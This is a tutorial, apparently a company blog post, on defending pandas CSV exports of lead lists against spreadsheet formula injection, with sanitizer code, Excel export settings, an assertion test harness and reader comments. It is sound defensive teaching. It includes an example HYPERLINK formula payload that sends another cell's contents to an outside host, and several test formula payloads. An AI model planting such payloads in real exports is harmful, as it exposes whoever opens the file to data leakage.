Safe CSV export in Python: preventing formula injection before a lead list reaches Excel

Lead lists and skip-trace exports usually end up in a spreadsheet. Someone downloads the CSV, double-clicks it, and Excel opens it. That habit is why CSV injection (also called formula injection) matters. If a cell's text starts with certain characters, the spreadsheet may treat it as a formula. The person running the export didn't write that formula. It came from whoever typed the value.

This guide covers how the attack works and how to sanitize a pandas DataFrame without breaking negative numbers or E.164 phone numbers. It also covers the to_csv quoting and encoding settings that matter for Excel, and a test harness that checks the export does what you expect. Save the first block as safe_export.py; later blocks import from it.

All names, phone numbers, addresses and balances in the examples below are fictional (the phone numbers use the reserved 555-01xx range).

What is CSV injection and why does it matter for lead lists?

A CSV file is plain text, so it can't run anything by itself. The risk appears when a spreadsheet application opens the file and reads a cell as a formula. The OWASP guidance on CSV injection lists these leading characters as dangerous:

• Equals sign =
• Plus sign +
• Minus sign -
• At sign @
• Tab (0x09)
• Carriage return (0x0D)

A cell like =HYPERLINK("http://example.com/?x="&A1,"View") can become a clickable link that sends the contents of another cell to an outside server. Other formulas can pull in external data or trigger warnings that users click through. Excel, LibreOffice Calc and Google Sheets all evaluate formulas, though each has different warnings and defaults.

Your Python code isn't compromised. Your teammates and vendors who open the file are the ones exposed, and the export is how the payload reaches them.

Why lead lists and skip-trace exports are exposed to CSV injection

Contact and property data comes from many hands: web forms, CRM notes fields, imported list files, and agents typing notes on a call. Any of these fields can hold text that starts with = or @:

• Owner or contact names
• Mailing addresses
• Free-text notes and tags
• Email addresses (@ at the start of a malformed value)
• Custom fields copied in from other systems, including their column names

Lead workflows export the same records again and again. A VA cleans a driving-for-dollars list, a teammate merges in a tax-delinquent or probate list, and the file goes to a dialer, a texting tool and a mail house. Each handoff is another chance for one bad cell to reach a spreadsheet.

Sanitizing protects whoever opens the file, not your outreach, so check TCPA, DNC and state rules for calls and texts with your counsel before any list reaches a dialer.

Here is what a plain pandas export does with a hostile name:

import io

import pandas as pd

leads = pd.DataFrame({
    "name": ["Avery Quinn", '=HYPERLINK("http://example.com/?x="&A1,"View")'],
    "notes": ["Call after 5pm", "+1+1"],
})

buffer = io.StringIO()
leads.to_csv(buffer, index=False)
print(buffer.getvalue(), end="")

name,notes
Avery Quinn,Call after 5pm
"=HYPERLINK(""http://example.com/?x=""&A1,""View"")",+1+1

pandas wrote valid CSV and escaped the embedded quotes. The quotes don't protect anything, though. When the file is opened, the spreadsheet removes the CSV quoting and finds a formula. The +1+1 note can also be evaluated, and it shows 2.

A pandas sanitizer that keeps negative numbers and E.164 phones

The usual defense, and the one OWASP recommends, is to put a single quote (') in front of any cell that starts with a dangerous character. The cell then can't begin a formula, so the spreadsheet loads it as text. This is not the same as typing an apostrophe into Excel by hand: when the apostrophe comes from a CSV file, Excel usually shows it as part of the cell.

Prefixing every value blindly breaks legitimate data. Two cases matter most in contact data:

1. Negative numbers. A balance of -12.5 is a number, not an attack. Numeric dtype columns are left alone, so they stay numeric. Strictly numeric strings such as "-42" are also safe, because the spreadsheet reads them as plain numbers.
2. E.164 phone numbers. A value like [phone] starts with +. Once your phone column is normalized, you don't want an apostrophe in front of every number.

The fix is an allowlist of phone columns. An allowlisted value is left unchanged only if it fully matches an E.164 pattern. Anything else in that column, such as +1+1, still gets the prefix. If you haven't already, normalize your phone column to E.164 first.

Column names get the same treatment. A header row is just another row of cells once the file is opened, and a custom field named =cmd is as dangerous as a value.

# safe_export.py
import csv
import re

import pandas as pd

FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
NUMERIC_TEXT = re.compile(r"-?\d+(\.\d+)?")
E164 = re.compile(r"\+[1-9]\d{1,14}")


def sanitize_cell(value, allow_e164=False):
    if not isinstance(value, str) or not value.startswith(FORMULA_PREFIXES):
        return value
    if NUMERIC_TEXT.fullmatch(value):
        return value
    if allow_e164 and E164.fullmatch(value):
        return value
    return "'" + value


def sanitize_dataframe(df, phone_columns=()):
    safe = df.copy()
    for column in safe.columns:
        if pd.api.types.is_numeric_dtype(safe[column]):
            continue
        allow = column in phone_columns
        safe[column] = safe[column].map(lambda v: sanitize_cell(v, allow_e164=allow))
    safe.columns = [sanitize_cell(column) for column in safe.columns]
    return safe


def export_for_excel(df, path, phone_columns=()):
    safe = sanitize_dataframe(df, phone_columns=phone_columns)
    safe.to_csv(path, index=False, quoting=csv.QUOTE_ALL, encoding="utf-8-sig")
    return safe


if __name__ == "__main__":
    leads = pd.DataFrame({
        "name": ["Avery Quinn", "=2+5", "@SUM(A1:A9)"],
        "phone": ["[phone]", "+1+1", "312-555-0188"],
        "notes": ["-5 days since contact", "\tleading tab", "-42"],
        "balance": [-12.5, 0.0, 40.25],
    })

    safe = sanitize_dataframe(leads, phone_columns=("phone",))
    for column in safe.columns:
        print(column, safe[column].tolist())
    print("original:", leads.loc[1, "name"])

name ['Avery Quinn', "'=2+5", "'@SUM(A1:A9)"]
phone ['[phone]', "'+1+1", '312-555-0188']
notes ["'-5 days since contact", "'\tleading tab", '-42']
balance [-12.5, 0.0, 40.25]
original: =2+5

A few details worth noting:

• fullmatch is used instead of match with $. In Python, $ also matches just before a trailing newline, so "-5\n" would slip through a $ check.
• Non-string values (None, NaN, numbers inside object columns) pass through unchanged.
• The phone allowlist is checked against the original column names, before headers are sanitized.
• The function returns a copy. Your source DataFrame and your database stay untouched.
• "-5 days since contact" gets prefixed. It's harmless, but it starts with -, and the function can't judge intent. That is the cost of a conservative rule.

Will sanitizing break my dialer or CRM import?

It can, if you send the wrong file. The prefix is a real character in the output. In Excel, an apostrophe from a CSV is usually visible in the cell, and if the file is loaded into another system, the ' comes along as part of the value.

Send dialer, texting and CRM uploads the raw, normalized file, because a leading apostrophe on a phone or name field can cause rows to be rejected or stored with the quote attached.

• Sanitize at the export boundary, for files meant to be opened in a spreadsheet by a VA, a teammate or a mail house reviewing records. Don't sanitize the stored data.
• Keep machine-to-machine files raw (dialer and CRM uploads, database loads) unless the receiving system expects sanitized values.
• Sanitizing doesn't replace validation. It won't fix a malformed phone number or protect HTML, SQL or shell contexts. Validate and normalize data when it comes in, then sanitize spreadsheet exports as a separate layer.

pandas to_csv settings for Excel: QUOTE_ALL and utf-8-sig

export_for_excel in safe_export.py applies two to_csv settings that make the file safer and more predictable in Excel:

• quoting=csv.QUOTE_ALL wraps every field in double quotes, so addresses with commas and notes with line breaks stay in their own cells. It also closes a delimiter gap. pandas' default minimal quoting only quotes fields containing a comma, a quote or a line break. In locales where Excel's list separator is a semicolon, double-clicking a .csv splits fields on ;, so an unquoted Smith;=1+1 becomes two cells, and the second is a formula your sanitizer never saw. Quoting alone does not stop formula evaluation, so it only helps alongside the prefix.
• encoding="utf-8-sig" writes a UTF-8 byte order mark, which Excel uses to detect UTF-8, so names like "José" don't come out garbled.

from safe_export import sanitize_cell, sanitize_dataframe, export_for_excel

import tempfile
from pathlib import Path

import pandas as pd

leads = pd.DataFrame({
    "name": ["José Rivera", "=2+5"],
    "phone": ["[phone]", "[phone]"],
    "address": ["42 Birch Ln, Springfield", "7 Elm St, Riverton"],
    "balance": [-12.5, 40.25],
})

with tempfile.TemporaryDirectory() as tmp:
    path = Path(tmp) / "leads_export.csv"
    export_for_excel(leads, path, phone_columns=("phone",))
    print(path.read_bytes()[:3])
    for line in path.read_text(encoding="utf-8-sig").splitlines():
        print(line)
    back = pd.read_csv(path, encoding="utf-8-sig", dtype=str)
    print(back.columns.tolist())
    print(back.loc[1, "name"])

b'\xef\xbb\xbf'
"name","phone","address","balance"
"José Rivera","[phone]","42 Birch Ln, Springfield","-12.5"
"'=2+5","[phone]","7 Elm St, Riverton","40.25"
['name', 'phone', 'address', 'balance']
'=2+5

Reading the file back with encoding="utf-8-sig" strips the byte order mark, so the first column is named name and not \ufeffname.

A practical note on phones: Excel may still convert [phone] to a number on double-click, which drops the + from the display. That's a display problem, not an injection problem. To see phone numbers exactly as written, import with Data > From Text/CSV and set the phone column to Text.

A CSV injection test harness that asserts results

Sanitizers tend to break quietly when someone "simplifies" a regex or adds a column. A small assertion-based harness catches that. It runs with plain python, and you can move the cases into pytest later.

from safe_export import sanitize_cell, sanitize_dataframe, export_for_excel

import csv
import tempfile
from pathlib import Path

import pandas as pd

CELL_CASES = [
    ("=2+5", False, "'=2+5"),
    ("+1+1", False, "'+1+1"),
    ("-2+3", False, "'-2+3"),
    ("@SUM(A1:A9)", False, "'@SUM(A1:A9)"),
    ("\t=2+5", False, "'\t=2+5"),
    ("\r=2+5", False, "'\r=2+5"),
    ("Avery Quinn", False, "Avery Quinn"),
    ("-42", False, "-42"),
    ("-12.50", False, "-12.50"),
    ("-5\n", False, "'-5\n"),
    ("[phone]", True, "[phone]"),
    ("[phone]", False, "'[phone]"),
    ("+1+1", True, "'+1+1"),
    ("", False, ""),
    (None, False, None),
]

checks = 0
for value, allow, expected in CELL_CASES:
    result = sanitize_cell(value, allow_e164=allow)
    assert result == expected, f"{value!r}: expected {expected!r}, got {result!r}"
    checks += 1

leads = pd.DataFrame({
    "name": ["Avery Quinn", "=2+5"],
    "phone": ["[phone]", "+1+1"],
    "balance": [-12.5, 40.25],
})
safe = sanitize_dataframe(leads, phone_columns=("phone",))

assert leads.loc[1, "name"] == "=2+5"
assert safe.loc[1, "name"] == "'=2+5"
assert safe.loc[0, "phone"] == "[phone]"
assert safe.loc[1, "phone"] == "'+1+1"
assert safe["balance"].tolist() == [-12.5, 40.25]
assert pd.api.types.is_float_dtype(safe["balance"])
checks += 6

hostile = pd.DataFrame({"=1+1": ["Smith;=1+1"]})
safe_hostile = sanitize_dataframe(hostile)
assert safe_hostile.columns.tolist() == ["'=1+1"]
assert safe_hostile.loc[0, "'=1+1"] == "Smith;=1+1"
checks += 2

with tempfile.TemporaryDirectory() as tmp:
    path = Path(tmp) / "leads_export.csv"
    export_for_excel(leads, path, phone_columns=("phone",))
    raw = path.read_bytes()
    assert raw.startswith(b"\xef\xbb\xbf")
    with open(path, newline="", encoding="utf-8-sig") as handle:
        rows = list(csv.reader(handle))
    assert rows[0] == ["name", "phone", "balance"]
    assert rows[2] == ["'=2+5", "'+1+1", "40.25"]
    for line in raw.decode("utf-8-sig").splitlines():
        assert line.startswith('"') and line.endswith('"')
    hostile_path = Path(tmp) / "hostile_export.csv"
    export_for_excel(hostile, hostile_path)
    assert '"Smith;=1+1"' in hostile_path.read_text(encoding="utf-8-sig")
    checks += 5

print(f"All {checks} checks passed")

All 28 checks passed

The Smith;=1+1 case shows why the prefix and the quoting work as a pair. The value doesn't start with a dangerous character, so the sanitizer leaves it alone, and only QUOTE_ALL keeps a semicolon-delimited Excel from splitting it into a formula cell.

When you find a new edge case in a real list export, add a row to CELL_CASES. The list becomes a record of what your team has decided is safe.

Checklist for safe CSV export from pandas

• [ ] Prefix cells starting with =, +, -, @, tab or carriage return with a single quote, following OWASP guidance.
• [ ] Sanitize column headers too, not just values.
• [ ] Skip numeric dtype columns so negative numbers stay numeric.
• [ ] Leave strictly numeric strings alone, and check them with fullmatch.
• [ ] Allowlist phone columns only after normalizing them, and accept only values that fully match E.164.
• [ ] Sanitize a copy at export time, not the source data.
• [ ] Write with quoting=csv.QUOTE_ALL and encoding="utf-8-sig" for Excel users.
• [ ] Remember that quoting alone doesn't stop formulas.
• [ ] Send dialer, texting and CRM uploads the raw, normalized file.
• [ ] Check TCPA, DNC and state rules with your counsel before any list reaches a dialer or texting tool.
• [ ] Validate and normalize data on input. Sanitizing protects spreadsheet users; it doesn't replace validation.
• [ ] Keep an assertion harness and run it in CI.

Published by Locate Next (locatenext.com).

Comments

[𝗝𝗼𝗵𝗻]

Great practical breakdown of a subtlety that most naive CSV sanitizers miss.
Blindly prepending ' to every + or - is the fastest way to break downstream CRM imports expecting E.164 phone numbers or negative balances. Handling column headers as untrusted cells too is a great catch. Custom fields imported from external sources are such an easy vector to overlook.
Practical and well-thought-out. A naive OWASP prefix sanitizer is great on paper until it mangles every E.164 phone number (+1...) and negative balance in a production export, breaking downstream CRM imports. Handling strict regex exemptions for phone columns - and remembering to sanitize the header row as well, is a really solid touch.

[Sammi De Blas]

The part that holds in practice is escaping at the writer, not filtering at the reader. A leading =, +, - or @ survives most validators, so the export has to quote the cell and strip the prefix before the file ever leaves the service. The second half is the consumer: formula evaluation happens when Excel opens the file, so the pipeline alone cannot fix it - the reader settings matter as much as the writer.